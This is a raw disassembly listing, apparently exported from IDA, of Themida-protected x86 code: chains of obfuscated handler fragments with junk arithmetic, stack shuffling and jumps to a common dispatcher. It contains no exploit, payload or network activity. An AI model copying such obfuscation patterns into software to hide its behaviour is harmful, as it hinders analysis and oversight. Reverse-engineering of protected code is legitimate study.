		xor	dword ptr [esp], 3C3C1AEFh
		pop	ebx
		jmp	loc_55B17C
; ---------------------------------------------------------------------------


loc_55449A:				; CODE XREF: Themida_:0055D420j
		xor	bl, dl
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_557A2C
; ---------------------------------------------------------------------------


loc_5544A7:				; CODE XREF: Themida_:0055DEB8j
		add	ax, si
		pop	si
		add	ax, dx
		push	dx
		mov	dx, 1A14h
		sub	esp, 2
		mov	[esp], bp
		jmp	loc_557D0C
; ---------------------------------------------------------------------------


loc_5544C1:				; CODE XREF: Themida_:00558828j
		add	bh, 4Bh
		sub	al, bh
		jmp	loc_5579C0
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	ebp
		mov	ebp, esp
		push	esi
		push	edx
		mov	edx, 41D928DCh
		shl	edx, 3
		and	edx, 167F1FAAh
		push	ecx
		mov	ecx, 185667A9h
		or	ecx, 2D1C75A1h
		or	ecx, 38893630h
		add	ecx, 14A948E2h
		sub	ecx, 971623A9h
		sub	edx, ecx
		pop	ecx
		jmp	loc_55D7DE
; ---------------------------------------------------------------------------


loc_554508:				; CODE XREF: Themida_:0055848Cj
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_55A4A6
; ---------------------------------------------------------------------------


loc_554513:				; CODE XREF: Themida_:0055D8E2j
		push	dword ptr [esp]
		jmp	loc_55B232
; ---------------------------------------------------------------------------


loc_55451B:				; CODE XREF: Themida_:00554303j
		not	dword ptr [esp]
		pop	ebx
		xor	ebx, 7B783074h
		and	eax, ebx
		pop	ebx
		add	eax, 0DEFBDFCFh
		jmp	loc_55E5EC
; ---------------------------------------------------------------------------


loc_554532:				; CODE XREF: Themida_:0055CBD2j
		pop	esp
		sub	[esp], al
		pushf
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_55453C:				; CODE XREF: Themida_:00555BE1j
		pop	eax
		sub	bl, al
		jmp	loc_5537AF
; ---------------------------------------------------------------------------


loc_554544:				; CODE XREF: Themida_:0055B368j
		push	7366h
		jmp	loc_555FA8
; ---------------------------------------------------------------------------


loc_55454E:				; CODE XREF: Themida_:005563AEj
		push	esi
		jmp	loc_556A86
; ---------------------------------------------------------------------------


loc_554554:				; CODE XREF: Themida_:0055B98Ej
		mov	edi, eax
		pop	eax
		add	esi, edi
		pop	edi
		sub	esi, 4
		jmp	loc_55AB09
; ---------------------------------------------------------------------------


loc_554565:				; CODE XREF: Themida_:00553FD0j
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_55456A:				; CODE XREF: Themida_:00554128j
		xor	esi, edi
		pop	edi
		inc	esi
		dec	esi
		inc	esi
		xor	esi, 5C804280h
		sub	eax, esi
		pop	esi
		jmp	loc_55803B
; ---------------------------------------------------------------------------


loc_55457E:				; CODE XREF: Themida_:0055CBC1j
		mov	edi, edx
		mov	esi, edi
		pop	edi
		pop	edx
		mov	ebp, esi
		pop	esi
		and	eax, ebp
		mov	ebp, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_55DFAF
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], edx
		push	esp
		pop	edx
		push	edi
		mov	edi, 3ECD43B3h
		add	edi, 7E21252Ch
		jmp	loc_55A124
; ---------------------------------------------------------------------------


loc_5545BA:				; CODE XREF: Themida_:0055D55Cj
		pop	edi
		neg	edx
		sub	edx, 0FD96C1B9h
		mov	ebp, edx
		pop	edx
		push	edi
		mov	edi, 55F921E4h
		inc	edi
		jmp	loc_555A7A
; ---------------------------------------------------------------------------


loc_5545D2:				; CODE XREF: Themida_:005581F7j
		mov	edx, 42A35317h
		push	7754h
		jmp	loc_55E832
; ---------------------------------------------------------------------------


loc_5545E1:				; CODE XREF: Themida_:0055B400j
		sub	ecx, 0E7EE71A8h
		sub	ebx, 671A5B82h
		add	ebx, ecx
		add	ebx, 671A5B82h
		pop	ecx
		jmp	loc_559093
; ---------------------------------------------------------------------------


loc_5545FB:				; CODE XREF: Themida_:0055430Fj
		add	esi, 1BBE951h
		add	ecx, 71EA0C03h
		add	ecx, esi
		jmp	loc_554444
; ---------------------------------------------------------------------------


loc_55460E:				; CODE XREF: Themida_:0055D2A0j
		mov	edi, [esp]
		add	esp, 4
		shr	ebp, 8
		not	ebp
		and	ebp, 29F302DBh
		dec	ebp
		jmp	loc_5579EA
; ---------------------------------------------------------------------------


loc_554628:				; CODE XREF: Themida_:00559787j
		shl	bh, 6
		sub	bh, 71h
		or	ch, bh
		mov	ebx, [esp]
		add	esp, 4
		shl	ch, 2
		not	ch
		add	ch, 0A3h
		jmp	loc_55B5B3
; ---------------------------------------------------------------------------


loc_554646:				; CODE XREF: Themida_:00558264j
		not	ch
		xchg	ch, dl
		inc	dl
		and	dl, 7Bh
		jmp	loc_555E5F
; ---------------------------------------------------------------------------


loc_554654:				; CODE XREF: Themida_:0055DA18j
		add	eax, 2FCA2AE5h
		sub	eax, 42410CD9h
		push	716Ch
		mov	[esp], esi
		mov	esi, 4DFE7DB3h
		not	esi
		xor	esi, 72C05693h
		jmp	loc_554122
; ---------------------------------------------------------------------------


loc_554678:				; CODE XREF: Themida_:0055E1F5j
		add	bl, 0BCh
		push	small 31C4h
		mov	[esp], ax
		push	edx
		mov	dh, 42h
		mov	ah, dh
		jmp	loc_55A461
; ---------------------------------------------------------------------------


loc_55468D:				; CODE XREF: Themida_:005591BBj
		mov	ecx, 726E4663h
		jmp	loc_55BADE
; ---------------------------------------------------------------------------


loc_554697:				; CODE XREF: Themida_:0055D7D9j
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ebp
		push	edx
		mov	edx, 77234118h
		push	esi
		mov	esi, 4F442CEh
		or	edx, esi
		pop	esi
		xor	edx, 77894F02h
		push	esi
		mov	esi, 324B14h
		add	edx, esi
		jmp	loc_55440C
; ---------------------------------------------------------------------------


loc_5546CC:				; CODE XREF: Themida_:0055361Dj
		shr	eax, 5
		sub	eax, 0F095D323h
		and	edx, eax
		pop	eax
		shr	edx, 2
		sub	edx, 0E81338B7h
		mov	ebx, edx
		pop	edx
		jmp	loc_559A4C
; ---------------------------------------------------------------------------


loc_5546E8:				; CODE XREF: Themida_:00559A51j
		push	dword ptr [esp]
		pop	ebx
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_558E28
; ---------------------------------------------------------------------------


loc_5546FD:				; CODE XREF: Themida_:005551E2j
		push	edx
		mov	edx, 3EA93B23h
		jmp	loc_5597E8
; ---------------------------------------------------------------------------


loc_554708:				; CODE XREF: Themida_:00557F3Ej
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_55470D:				; CODE XREF: Themida_:0055DA5Fj
		push	dword ptr [esp+4]
		jmp	loc_55E5D3
; ---------------------------------------------------------------------------


loc_554716:				; CODE XREF: Themida_:00557727j
		push	ebx
		mov	ebx, 5E1D47B0h
		jmp	loc_556738
; ---------------------------------------------------------------------------


loc_554721:				; CODE XREF: Themida_:005578EDj
		push	cx
		pushf
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_554729:				; CODE XREF: Themida_:00558F94j
		add	edi, esi
		pop	esi
		pop	edx
		push	edi
		pop	ecx
		pop	edi
		xor	ecx, 20D5278Eh
		and	eax, ecx
		pop	ecx
		or	eax, eax
		jz	loc_554153
		push	dword ptr [edi+1Ch]
		jmp	loc_55ABFF
; ---------------------------------------------------------------------------


loc_554749:				; CODE XREF: Themida_:00558140j
		pop	esi
		sub	[esp+4], edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_55336E
; ---------------------------------------------------------------------------


loc_554759:				; CODE XREF: Themida_:00553053j
		push	ebp
		mov	ebp, esp
		push	edx
		mov	edx, 4
		jmp	loc_55D20E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5747D8


loc_554767:				; CODE XREF: sub_5747D8-19A68j
		mov	bh, ch
		mov	dh, bh
		pop	ebx
		jmp	loc_55A10C
; END OF FUNCTION CHUNK	FOR sub_5747D8
; ---------------------------------------------------------------------------


loc_554771:				; CODE XREF: Themida_:00557DD1j
		or	bx, 43C3h
		xor	bx, 7517h
		push	bx
		sub	word ptr [esp],	3733h
		jmp	loc_555506
; ---------------------------------------------------------------------------


loc_554788:				; CODE XREF: Themida_:0055BF94j
		mov	[esp], edi
		push	ecx
		mov	ecx, 4
		sub	esp, 4
		jmp	loc_55551E
; ---------------------------------------------------------------------------


loc_55479C:				; CODE XREF: Themida_:0055A781j
		pop	ecx
		add	ecx, 4
		push	edx
		mov	edx, 47203089h
		sub	edx, 27CC4288h
		jmp	loc_55A5D6
; ---------------------------------------------------------------------------


loc_5547B4:				; CODE XREF: Themida_:00554B27j
		sub	ecx, 1F71963h
		mov	eax, ecx
		mov	ecx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 11BD2D01h
		xor	ebx, 241B35BDh
		jmp	loc_55AB5B
; ---------------------------------------------------------------------------


loc_5547E6:				; CODE XREF: Themida_:0055E9F1j
		mov	esi, [esp]
		jmp	loc_55D9EC
; ---------------------------------------------------------------------------


loc_5547EE:				; CODE XREF: Themida_:005542DAj
		push	dword ptr [esp]
		jmp	loc_55E411
; ---------------------------------------------------------------------------


loc_5547F6:				; CODE XREF: Themida_:00554CBFj
		pop	ecx
		jmp	loc_55685E
; ---------------------------------------------------------------------------


loc_5547FC:				; CODE XREF: Themida_:0055D8A7j
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		sub	al, 13h
		mov	cx, [esp]
		jmp	loc_55CD64
; ---------------------------------------------------------------------------


loc_55480E:				; CODE XREF: Themida_:0055DEADj
		and	eax, edi
		mov	edi, [esp]
		add	esp, 4
		or	eax, eax
		jz	loc_55337F
		sub	esp, 4
		mov	[esp], esi
		push	0FEh
		push	dword ptr [esp]
		pop	esi
		push	esi
		mov	esi, esp
		push	edx
		mov	edx, 5F733F6Ah
		push	edx
		not	dword ptr [esp]
		jmp	loc_55C13C
; ---------------------------------------------------------------------------


loc_554842:				; CODE XREF: Themida_:0055314Aj
		pop	dword ptr [esp]
		pop	esp
		push	ebx
		jmp	loc_555BFD
; ---------------------------------------------------------------------------


loc_55484C:				; CODE XREF: Themida_:0055A281j
		xor	eax, 337D664Fh
		jmp	loc_55EA6D
; ---------------------------------------------------------------------------


loc_554856:				; CODE XREF: Themida_:00553EE1j
		mov	[esp], dx
		push	small word ptr [esp+2]
		jmp	loc_5560B4
; ---------------------------------------------------------------------------


loc_554864:				; CODE XREF: Themida_:0055B6BDj
		shr	edx, 1
		jmp	loc_55B8F0
; ---------------------------------------------------------------------------


loc_55486B:				; CODE XREF: Themida_:00558F08j
		push	esi
		push	edi
		mov	edi, 43F51A39h
		mov	esi, 6DFE6FEFh
		jmp	loc_5582BF
; ---------------------------------------------------------------------------


loc_55487C:				; CODE XREF: Themida_:0055ECFCj
		xor	edi, ecx
		pop	ecx
		sub	edx, 5811031Eh
		add	edx, edi
		add	edx, 5811031Eh
		jmp	loc_558345
; ---------------------------------------------------------------------------


loc_554892:				; CODE XREF: Themida_:005531DBj
		mov	esp, [esp]
		mov	cx, [esp]
		push	1384h
		mov	[esp], ecx
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	ecx
		add	ecx, 4
		push	edx
		jmp	loc_55C6E9
; ---------------------------------------------------------------------------


loc_5548B9:				; CODE XREF: Themida_:0055ED75j
		pop	esp
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	ecx
		mov	ecx, esp
		jmp	loc_5552D1
; ---------------------------------------------------------------------------


loc_5548CF:				; CODE XREF: Themida_:00552E2Aj
		add	eax, edi
		add	eax, 6B7D1A3Ah
		push	esi
		jmp	loc_555D8B
; ---------------------------------------------------------------------------


loc_5548DC:				; CODE XREF: Themida_:00554F16j
		mov	ebx, [esp]
		add	esp, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_55AF52
; ---------------------------------------------------------------------------


loc_5548FA:				; CODE XREF: Themida_:0055E86Aj
		add	edi, 0CC28432h
		sub	esi, edi
		jmp	loc_55A705
; ---------------------------------------------------------------------------


loc_554907:				; CODE XREF: Themida_:005557D4j
		xor	[esp], edi
		jmp	loc_554BC4
; ---------------------------------------------------------------------------


loc_55490F:				; CODE XREF: Themida_:00557887j
		pop	esp
		rol	byte ptr [esp],	cl
		pushf
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_554919:				; CODE XREF: Themida_:005574AFj
		pop	eax
		sub	esp, 4
		jmp	loc_5599F6
; ---------------------------------------------------------------------------


loc_554925:				; CODE XREF: Themida_:0055D396j
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		sar	word ptr [esp],	cl
		pushf
		jmp	loc_5535AF
; ---------------------------------------------------------------------------


loc_554936:				; CODE XREF: Themida_:0055B6EEj
		dec	ebx
		dec	ebx
		not	ebx
		sub	ebx, 96354698h
		jmp	loc_55D466
; ---------------------------------------------------------------------------


loc_554945:				; CODE XREF: Themida_:005542CBj
		mov	esp, [esp]
		idiv	cl
		movzx	cx, ah
		push	ebp
		mov	ebp, esp
		jmp	loc_55BD42
; ---------------------------------------------------------------------------


loc_554956:				; CODE XREF: Themida_:0055D506j
		mov	edx, ebx
		pop	ebx
		add	ebx, edx
		pop	edx
		sub	esp, 4
		mov	[esp], edx
		push	4
		pop	edx
		sub	ebx, edx
		pop	edx
		push	ebx
		push	dword ptr [esp+4]
		jmp	loc_55C408
; ---------------------------------------------------------------------------


loc_554978:				; CODE XREF: Themida_:005554F8j
		pop	edi
		push	edx
		jmp	loc_55BBC9
; ---------------------------------------------------------------------------


loc_55497F:				; CODE XREF: Themida_:0055D627j
		mov	ecx, 3FE9615Bh
		inc	ecx
		neg	ecx
		shl	ecx, 8
		sub	ecx, 89D1772h
		and	ecx, 1C2A7633h
		jmp	loc_55EE2A
; ---------------------------------------------------------------------------


loc_55499B:				; CODE XREF: Themida_:00555EE5j
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_5549A0:				; CODE XREF: Themida_:0055318Dj
		sub	al, dh
		jmp	loc_55CE39
; ---------------------------------------------------------------------------


loc_5549A7:				; CODE XREF: Themida_:0055559Cj
		add	ebp, edi
		jmp	loc_557296
; ---------------------------------------------------------------------------


loc_5549AE:				; CODE XREF: Themida_:0055E144j
		push	ecx
		mov	ecx, 3D7F0BC9h
		dec	ecx
		neg	ecx
		jmp	loc_558B4E
; ---------------------------------------------------------------------------


loc_5549BC:				; CODE XREF: Themida_:0055C8ADj
		pop	edx
		or	esi, 55321069h
		push	ebx
		push	esi
		jmp	loc_559656
; ---------------------------------------------------------------------------
		push	dword ptr [edi+2Ch]
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_5549D2:				; CODE XREF: Themida_:0055E6B1j
		add	ecx, 639640DCh
		add	ecx, ebp
		sub	ecx, 639640DCh
		pop	ebp
		push	edx
		mov	edx, 7B281C2Ch
		or	edx, 5AA83C91h
		sub	edx, 5C1B4072h
		jmp	loc_553694
; ---------------------------------------------------------------------------


loc_5549F8:				; CODE XREF: Themida_:0055EC25j
		add	esi, 4
		push	ebp
		mov	ebp, 4
		add	esi, ebp
		pop	ebp
		jmp	loc_554EF6
; ---------------------------------------------------------------------------


loc_554A0C:				; CODE XREF: Themida_:00554CAAj
		sub	al, dl
		mov	edx, [esp]
		add	esp, 4
		push	edx
		mov	dh, 60h
		add	dh, 0C2h
		inc	dh
		not	dh
		add	dh, 11h
		sub	dh, 57h
		jmp	loc_5579DB
; ---------------------------------------------------------------------------


loc_554A2C:				; CODE XREF: Themida_:0055713Ej
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_559F02
; ---------------------------------------------------------------------------


loc_554A3C:				; CODE XREF: Themida_:0055515Aj
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_554F9A
; ---------------------------------------------------------------------------


loc_554A46:				; CODE XREF: Themida_:00555CF2j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	esi
		mov	esi, 4
		sub	ecx, esi
		pop	esi
		jmp	loc_55BF99
; ---------------------------------------------------------------------------


loc_554A5D:				; CODE XREF: Themida_:00558546j
		mov	ah, 5Bh
		and	ah, 0AEh
		xor	ah, 9Fh
		push	cx
		mov	cl, 27h
		add	ah, cl
		pop	cx
		push	3E28h
		mov	[esp], ecx
		push	eax
		jmp	loc_55DF96
; ---------------------------------------------------------------------------


loc_554A7B:				; CODE XREF: Themida_:0055DD13j
		push	edx
		mov	edx, 8600106h
		dec	edx
		jmp	loc_55588E
; ---------------------------------------------------------------------------
		neg	byte ptr [esp]
		pushf
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_554A90:				; CODE XREF: Themida_:005598FEj
		sub	ax, di
		add	ax, 21A3h
		jmp	loc_553399
; ---------------------------------------------------------------------------


loc_554A9C:				; CODE XREF: Themida_:00558016j
		and	edi, 553A6823h
		jmp	loc_553DEE
; ---------------------------------------------------------------------------


loc_554AA7:				; CODE XREF: Themida_:00559E95j
		push	ebx
		mov	ebx, 4
		push	ebx
		add	dword ptr [esp], 55F60A1Ch
		jmp	loc_55AA00
; ---------------------------------------------------------------------------


loc_554ABA:				; CODE XREF: Themida_:005540ADj
		push	esi
		mov	esi, 4
		add	edx, esi
		pop	esi
		xchg	edx, [esp]
		jmp	loc_55EFAE
; ---------------------------------------------------------------------------


loc_554ACB:				; CODE XREF: Themida_:00555E5Aj
		pop	ecx
		add	esp, 4
		push	ebp
		jmp	loc_55CCA9
; ---------------------------------------------------------------------------


loc_554AD8:				; CODE XREF: Themida_:0055DD59j
		add	ch, 0E1h
		add	al, 3Ah
		jmp	loc_553AEF
; ---------------------------------------------------------------------------


loc_554AE2:				; CODE XREF: Themida_:00557845j
		mov	[esp], esi
		push	esp
		pop	esi
		push	edx
		push	ecx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 23D962A3h
		jmp	loc_55C54D
; ---------------------------------------------------------------------------


loc_554AF9:				; CODE XREF: Themida_:0055E3F8j
		mov	edx, [esp]
		jmp	loc_5564E0
; ---------------------------------------------------------------------------


loc_554B01:				; CODE XREF: Themida_:0055BD48j
		push	ecx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 77BB3D2Bh
		jmp	loc_558898
; ---------------------------------------------------------------------------


loc_554B12:				; CODE XREF: Themida_:005538F3j
		mov	esi, [esp]
		jmp	loc_5564B2
; ---------------------------------------------------------------------------


loc_554B1A:				; CODE XREF: Themida_:005573F5j
		pop	esi
		xchg	edx, [esp]
		pop	esp
		push	edx
		push	eax
		push	ecx
		mov	ecx, 115D25F1h
		jmp	loc_5547B4
; ---------------------------------------------------------------------------


loc_554B2C:				; CODE XREF: Themida_:00557F9Dj
		mov	[esp], edx
		mov	edx, 6BFA5308h
		sub	eax, edx
		jmp	loc_55A799
; ---------------------------------------------------------------------------


loc_554B3B:				; CODE XREF: Themida_:0055CDF7j
		add	esp, 4
		add	eax, 0CC7A98D1h
		mov	esi, eax
		jmp	loc_555BB6
; ---------------------------------------------------------------------------


loc_554B4A:				; CODE XREF: Themida_:005589FEj
		mov	edi, esp
		push	esi
		mov	esi, 4
		jmp	loc_556975
; ---------------------------------------------------------------------------


loc_554B57:				; CODE XREF: Themida_:00553BE1j
		mov	[esp], esp
		push	ebp
		mov	ebp, 4
		add	[esp+4], ebp
		pop	ebp
		pop	edx
		add	edx, 4
		push	esi
		mov	esi, 2
		add	edx, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		shr	word ptr [esp],	cl
		pushf
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_554B94:				; CODE XREF: Themida_:005553CFj
		add	esp, 4
		and	eax, ebp
		jmp	loc_55923F
; ---------------------------------------------------------------------------


loc_554B9E:				; CODE XREF: Themida_:0055777Fj
		pop	esp
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		push	esp
		pop	edx
		push	eax
		mov	eax, 4
		add	edx, 269C4C89h
		jmp	loc_55801B
; ---------------------------------------------------------------------------


loc_554BC4:				; CODE XREF: Themida_:0055490Aj
		xor	edi, [esp]
		jmp	loc_55E473
; ---------------------------------------------------------------------------


loc_554BCC:				; CODE XREF: Themida_:0055B3A1j
		pop	esi
		shr	esi, 8
		jmp	loc_557C79
; ---------------------------------------------------------------------------
		push	edx
		push	ebx
		mov	ebx, 7A473D24h
		jmp	loc_5586A4
; ---------------------------------------------------------------------------


loc_554BE1:				; CODE XREF: Themida_:0055D746j
		and	ebp, edx
		pop	edx
		not	ebp
		and	ebp, 3C83D41h
		push	edx
		mov	edx, 4E031EB3h
		xor	edx, 4DCB33F7h
		jmp	loc_5590BF
; ---------------------------------------------------------------------------


loc_554BFD:				; CODE XREF: Themida_:0055C4E7j
		or	[edi+1Ch], ebp
		jmp	loc_55C360
; ---------------------------------------------------------------------------
		lodsb
		add	al, 10h
		push	ecx
		mov	cl, 3Ah
		inc	cl
		add	cl, 1
		dec	cl
		not	cl
		jmp	loc_55EDA5
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_55713B
; ---------------------------------------------------------------------------


loc_554C21:				; CODE XREF: Themida_:0055B135j
		jmp	loc_552DCD
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	dword ptr [esp], cl
		pushf
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_554C35:				; CODE XREF: Themida_:005531F3j
		pop	esi
		or	esi, 5BFB7774h
		jmp	loc_553CF9
; ---------------------------------------------------------------------------


loc_554C41:				; CODE XREF: Themida_:00559768j
		mov	edi, [esp]
		push	edx
		jmp	loc_558F6B
; ---------------------------------------------------------------------------


loc_554C4A:				; CODE XREF: Themida_:0055A969j
		mov	[esp], edx
		jmp	loc_55439F
; ---------------------------------------------------------------------------


loc_554C52:				; CODE XREF: Themida_:0055727Aj
		push	eax
		mov	eax, 699461CAh
		add	esi, eax
		pop	eax
		push	edi
		mov	edi, 3A672B15h
		jmp	loc_55E85E
; ---------------------------------------------------------------------------


loc_554C66:				; CODE XREF: Themida_:005566E0j
		pop	ebx
		and	ecx, eax
		pop	eax
		shr	ecx, 6
		push	2CA5h
		mov	[esp], ebx
		push	dword ptr [esp]
		mov	eax, [esp]
		push	edi
		push	esp
		pop	edi
		jmp	loc_557A88
; ---------------------------------------------------------------------------


loc_554C83:				; CODE XREF: Themida_:00555AABj
		not	dl
		jmp	loc_55A39F
; ---------------------------------------------------------------------------


loc_554C8A:				; CODE XREF: Themida_:00553FD6j
		mov	[esp], ecx
		mov	ecx, 2FD4697Ch
		dec	ecx
		jmp	loc_5563DA
; ---------------------------------------------------------------------------


loc_554C98:				; CODE XREF: Themida_:00553D4Aj
		pop	edx
		xor	dl, al
		pop	eax
		sub	dl, 1
		push	cx
		mov	ch, 1
		sub	dl, ch
		pop	cx
		add	dl, 0A1h
		jmp	loc_554A0C
; ---------------------------------------------------------------------------


loc_554CAF:				; CODE XREF: Themida_:0055D1DAj
		mov	[esp], ecx
		mov	cl, al
		push	eax
		mov	al, cl
		mov	dh, al
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5547F6
; ---------------------------------------------------------------------------


loc_554CC4:				; CODE XREF: Themida_:00559255j
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	ecx
		mov	ecx, 3FCh
		add	edi, 602E319Bh
		add	edi, 6D14325Bh
		jmp	loc_557B6A
; ---------------------------------------------------------------------------


loc_554CF0:				; CODE XREF: Themida_:005552B0j
		push	dword ptr [esp+4]
		mov	edx, [esp]
		jmp	loc_55B7EC
; ---------------------------------------------------------------------------


loc_554CFC:				; CODE XREF: Themida_:0055C469j
		pop	edx
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_554D02:				; CODE XREF: Themida_:00553195j
		pop	esp
		mov	[esp], eax
		push	esp
		pop	eax
		jmp	loc_55C7ED
; ---------------------------------------------------------------------------


loc_554D0D:				; CODE XREF: Themida_:0055EED8j
		add	ebx, 73CC4848h
		sub	ebx, 52A12F78h
		jmp	loc_5592D0
; ---------------------------------------------------------------------------


loc_554D1E:				; CODE XREF: Themida_:0055346Aj
		push	5FA8h
		mov	[esp], eax
		push	esi
		push	ecx
		mov	ecx, 4CE1402Dh
		jmp	loc_55A657
; ---------------------------------------------------------------------------


loc_554D32:				; CODE XREF: Themida_:005539EDj
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		add	ebx, 4
		push	eax
		mov	eax, 4
		add	ebx, eax
		jmp	loc_5590DA
; ---------------------------------------------------------------------------


loc_554D51:				; CODE XREF: Themida_:00555C1Ej
		pop	eax
		push	ecx
		mov	ecx, 72391DEAh
		or	ecx, 44A64B0Dh
		push	edi
		mov	edi, 25C11E44h
		xor	ecx, edi
		pop	edi
		add	ecx, 9EEBBBF8h
		xor	eax, ecx
		pop	ecx
		add	ebp, eax
		pop	eax
		push	15D9h
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_55C6B8
; ---------------------------------------------------------------------------


loc_554D88:				; CODE XREF: Themida_:00559A7Ej
		pop	edi
		jmp	loc_55502A
; ---------------------------------------------------------------------------


loc_554D8E:				; CODE XREF: Themida_:00559558j
		mov	ebx, 4
		add	esi, ebx
		pop	ebx
		jmp	loc_553E67
; ---------------------------------------------------------------------------


loc_554D9B:				; CODE XREF: Themida_:0055DE71j
		xor	eax, 2AE9321Bh
		pop	ebx
		jmp	loc_55A87F
; ---------------------------------------------------------------------------


loc_554DA6:				; CODE XREF: Themida_:005563EDj
		mov	dl, 5Ch
		sub	dl, al
		jmp	loc_558FC9
; ---------------------------------------------------------------------------


loc_554DAF:				; CODE XREF: Themida_:00555EB4j
		push	258Ch
		mov	[esp], ecx
		jmp	loc_55BE9A
; ---------------------------------------------------------------------------


loc_554DBC:				; CODE XREF: Themida_:0055D190j
		push	ebp
		mov	ebp, 1DFA4656h
		inc	ebp
		add	ebp, 3C072DF8h
		sub	ebp, 5A01744Bh
		add	edi, ebp
		pop	ebp
		push	edx
		push	ecx
		mov	ecx, 537038E1h
		jmp	loc_5555FD
; ---------------------------------------------------------------------------


loc_554DDE:				; CODE XREF: Themida_:0055962Cj
		mov	esi, 4
		add	[esp+4], esi
		pop	esi
		pop	edi
		push	ecx
		push	123D0594h
		pop	ecx
		sub	ecx, 56166183h
		shr	ecx, 4
		neg	ecx
		xor	ecx, 0F43D95BBh
		add	edi, ecx
		jmp	loc_558145
; ---------------------------------------------------------------------------


loc_554E08:				; CODE XREF: Themida_:0055446Ej
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_55AB3C
; ---------------------------------------------------------------------------


loc_554E16:				; CODE XREF: Themida_:00555CBAj
		push	esp
		mov	eax, [esp]
		add	esp, 4
		add	eax, 4
		sub	eax, 4
		jmp	loc_5587AB
; ---------------------------------------------------------------------------


loc_554E2D:				; CODE XREF: Themida_:0055A75Cj
		mov	[esp], esi
		push	eax
		mov	eax, 751D5D38h
		add	eax, 0F9831547h
		mov	esi, eax
		pop	eax
		add	[esp+4], esi
		jmp	loc_553C7A
; ---------------------------------------------------------------------------


loc_554E47:				; CODE XREF: Themida_:005585F4j
		pop	ebx
		push	28CBh
		mov	[esp], edx
		push	ecx
		mov	ch, 3Dh
		jmp	loc_55943E
; ---------------------------------------------------------------------------


loc_554E58:				; CODE XREF: Themida_:0055A24Dj
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		jmp	loc_552DCD
; ---------------------------------------------------------------------------
		mov	ecx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 3CC01D75h
		add	eax, 64FB051Ch
		push	0
		sub	[esp], eax
		pop	eax
		shr	eax, 7
		push	259Ch
		mov	[esp], edx
		jmp	loc_55DBE5
; ---------------------------------------------------------------------------


loc_554E98:				; CODE XREF: Themida_:00556A10j
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_555538
; ---------------------------------------------------------------------------


loc_554EA3:				; CODE XREF: Themida_:0055D9E7j
		sub	edx, ebx
		pop	ebx
		push	ebp
		mov	ebp, 55C7407Bh
		xor	ebp, 1CA80538h
		xor	ebp, 3D577885h
		add	edx, ebp
		pop	ebp
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_554EC0:				; CODE XREF: Themida_:00558ABBj
		shl	word ptr [esp],	cl
		pushf
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_554ECA:				; CODE XREF: Themida_:0055C70Fj
		push	ebx
		push	edi
		push	ebx
		mov	ebx, 4
		mov	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_553C9F
; ---------------------------------------------------------------------------


loc_554EE2:				; CODE XREF: Themida_:00553741j
		mov	esp, [esp]
		shr	ecx, 7
		push	12B9h
		mov	[esp], ebx
		push	ecx
		jmp	loc_5540B2
; ---------------------------------------------------------------------------


loc_554EF6:				; CODE XREF: Themida_:00554A07j
		xchg	esi, [esp]
		pop	esp
		push	edx
		pop	dword ptr [eax]
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5577FD
